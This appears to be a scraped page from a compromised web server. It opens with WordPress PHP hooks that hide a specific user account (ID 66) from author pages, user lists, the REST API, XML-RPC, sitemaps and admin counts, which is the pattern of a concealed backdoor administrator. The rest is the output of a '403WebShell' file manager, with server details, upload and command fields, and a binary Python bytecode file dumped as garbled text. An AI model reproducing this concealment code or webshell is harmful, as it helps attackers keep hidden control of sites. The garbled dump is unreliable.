add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3.12/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3.12/test/support/__pycache__/warnings_helper.cpython-312.pyc
�

:5j����ddlZddlZddlZddlZddlZddlZd�Zdddd�d�Zd�ZGd�d	e	�Z
ejd
��Zejde
dfd��Zejd
��Zdd�Zejd��Zd�Zy)�Nc��tj�5tjdt��t	j
|�cddd�S#1swYyxYw)z3Import *name* while suppressing DeprecationWarning.�ignore��categoryN)�warnings�catch_warnings�simplefilter�DeprecationWarning�	importlib�
import_module)�names �3/usr/lib/python3.12/test/support/warnings_helper.py�import_deprecatedr	sB��	�	 �	 �	"�-����h�1C�D��&�&�t�,�-�-�-�s�0A�A����lineno�offsetc��ddlm}tjd��5}tjdt
�t
|dd�ddd�|jt�d|�|\}|jt|jt
�|j�|r%|jt|j�|�|j|jd�|j!|j"�|�|j|j"|�tjd��5}tjd	t
�||||||�
�ddd�|j|g�y#1swY��3xYw#1swY�)xYw)Nr)�check_syntax_errorT��record�alwaysz
<testcase>�execr�errorr)�test.supportrrrr	�
SyntaxWarning�compile�assertEqual�len�
assertTrue�
issubclassr�assertRegex�str�message�filename�assertIsNotNoner)�testcase�	statement�errtextrrr�warns�warns        r�check_syntax_warningr-sA��0�	�	 �	 ��	-�1�����h�
�6��	�<��0�1�
����U��Q��.��E�D����
�4�=�=�-�@��
�
�'�����S����.��8��������5����T�[�[�)�
�����T�[�[�&�1�

�	 �	 ��	-�9�����g�}�5��8�Y��"(��	9�9�

�����#�/1�1��$9�9�s�(E6�3(F�6F�Fc����fd�}|S)z�Decorator to suppress warnings.

    Use of context managers to hide warnings make diffs
    more noisy and tools like 'git blame' less useful.
    c�F���tj����fd��}|S)Nc���tj�5tjd����|g|��i|��cddd�S#1swYyxYw)Nrr)rrr	)�self�args�kwargsr�tests   ��r�wrapperz3ignore_warnings.<locals>.decorator.<locals>.wrapper5sF����(�(�*�
3��%�%�h��B��D�2�4�2�6�2�
3�
3�
3�s�#A�A)�	functools�wraps)r4r5rs` �r�	decoratorz"ignore_warnings.<locals>.decorator4s%���	����	�	3�
�	3����)rr8s` r�ignore_warningsr;.s�����r9c�2�eZdZdZd�Zd�Zed��Zd�Zy)�WarningsRecorderzyConvenience wrapper for the warnings list returned on
       entry to the warnings.catch_warnings() context manager.
    c� �||_d|_y)Nr��	_warnings�_last)r1�
warnings_lists  r�__init__zWarningsRecorder.__init__Bs��&�����
r9c���t|j�|jkDrt|jd|�S|tj
jvryt|�d|����)N���z has no attribute )r r@rA�getattrr�WarningMessage�_WARNING_DETAILS�AttributeError)r1�attrs  r�__getattr__zWarningsRecorder.__getattr__FsT���t�~�~�����+��4�>�>�"�-�t�4�4�
�X�,�,�=�=�
=����t�D�E�Er9c�4�|j|jdS�Nr?�r1s rrzWarningsRecorder.warningsMs���~�~�d�j�j�k�*�*r9c�8�t|j�|_yrM)r r@rArNs r�resetzWarningsRecorder.resetQs������(��
r9N)	�__name__�
__module__�__qualname__�__doc__rCrK�propertyrrPr:r9rr=r=>s+����F��+��+�)r9r=c�Z�|jd�}|s
dtff}|�d}t||�S)a�Context manager to silence warnings.

    Accept 2-tuples as positional arguments:
        ("message regexp", WarningCategory)

    Optional argument:
     - if 'quiet' is True, it does not fail if a filter catches nothing
        (default True without argument,
         default False if some filters are defined)

    Without argument, it defaults to:
        check_warnings(("", Warning), quiet=True)
    �quietrT)�get�Warning�_filterwarnings)�filtersr3rWs   r�check_warningsr\Us8��
�J�J�w��E����=�"���=��E��7�E�*�*r9Fc#��K�ddlm}tjd��5}tjd||��d��|r|�ddd�|jg�y#1swY�xYw�w)a�Context manager to check that no warnings are emitted.

    This context manager enables a given warning within its scope
    and checks that no warnings are emitted even with that warning
    enabled.

    If force_gc is True, a garbage collection is attempted before checking
    for warnings. This may help to catch warnings emitted when objects
    are deleted, such as ResourceWarning.

    Other keyword arguments are passed to warnings.filterwarnings().
    r)�
gc_collectTrr)r%rN)rr^rr�filterwarningsr)r(r%r�force_gcr^r+s      r�check_no_warningsramsd����(�	�	 �	 ��	-�������(/�)1�	3�	���L�
�
�����#���s�A,�&A �A,� A)�%A,c#�bK�t|td��5d��ddd�y#1swYyxYw�w)a"Context manager to check that no ResourceWarning is emitted.

    Usage:

        with check_no_resource_warning(self):
            f = open(...)
            ...
            del f

    You must remove the object which may emit ResourceWarning before
    the end of the context manager.
    T)rr`N)ra�ResourceWarning)r(s r�check_no_resource_warningrd�s+����
�8�o��	M��
����s�/�#�	/�,�/c#��K�tjd�}|jjd�}|r|j	�tjd��5}tjdjd�t|���ddd�t�}g}|D]�\}}d}	|ddD]g}|j}
tj|t|
�tj�s�>t!|
j"|�s�Ud}	|j%|��i|	r�z|r�}|j'||j(f���|rt+d	|d
z��|rt+d|d
z��y#1swY��xYw�w)z�Catch the warnings, then check if all the expected
    warnings have been raised and re-raise unexpected warnings.
    If 'quiet' is True, only re-raise the unexpected warnings.
    ��__warningregistry__TrrrNFzunhandled warning %srz)filter (%r, %s) did not catch any warning)�sys�	_getframe�	f_globalsrX�clearrr�modulesr	r=�listr%�re�matchr$�Ir"�	__class__�remove�appendrQ�AssertionError)r[rW�frame�registry�w�reraise�missing�msg�cat�seen�warnings           rrZrZ�sW����
�M�M�!��E����"�"�#8�9�H������	�	 �	 ��	-�"��	���J��,�,�X�6��q�!�!�"��1�g�G��G��0���S������	"�A��i�i�G�����c�'�l�B�D�D�1��7�,�,�c�2������q�!�
	"��E��N�N�C����.�/�0���3�g�a�j�@�A�A���H�$�Q�Z�(�)�	)��/"�"�s8�AE1�0E%�A!E1�-E1�E1�E1�AE1�%E.�*E1c#�K�tjdd}	d��|tjddy#|tjddwxYw�wrM)rr[)�old_filterss r�save_restore_warnings_filtersr��s>�����"�"�1�%�K�*�
�)�������k������s�A�/�A�A�Ac�<�tjdtd��y)Nz�This is used in test_support test to ensure support.ignore_deprecations_from() works as expected. You should not be seeing this.r)�
stacklevel)rr,r
r:r9r�_warn_about_deprecationr��s���M�M�	*�	��r9)r)F)�
contextlibr6rrnrhrrr-r;�objectr=�contextmanagerr\rYrardrZr�r�r:r9r�<module>r�s������	�
��-�$�#$�T�$�<
� )�v�)�.���+��+�.���(*�W�u�$��$�0������"$)�N���*��*�r9

Youez - 2016 - github.com/yon3zu
LinuXploit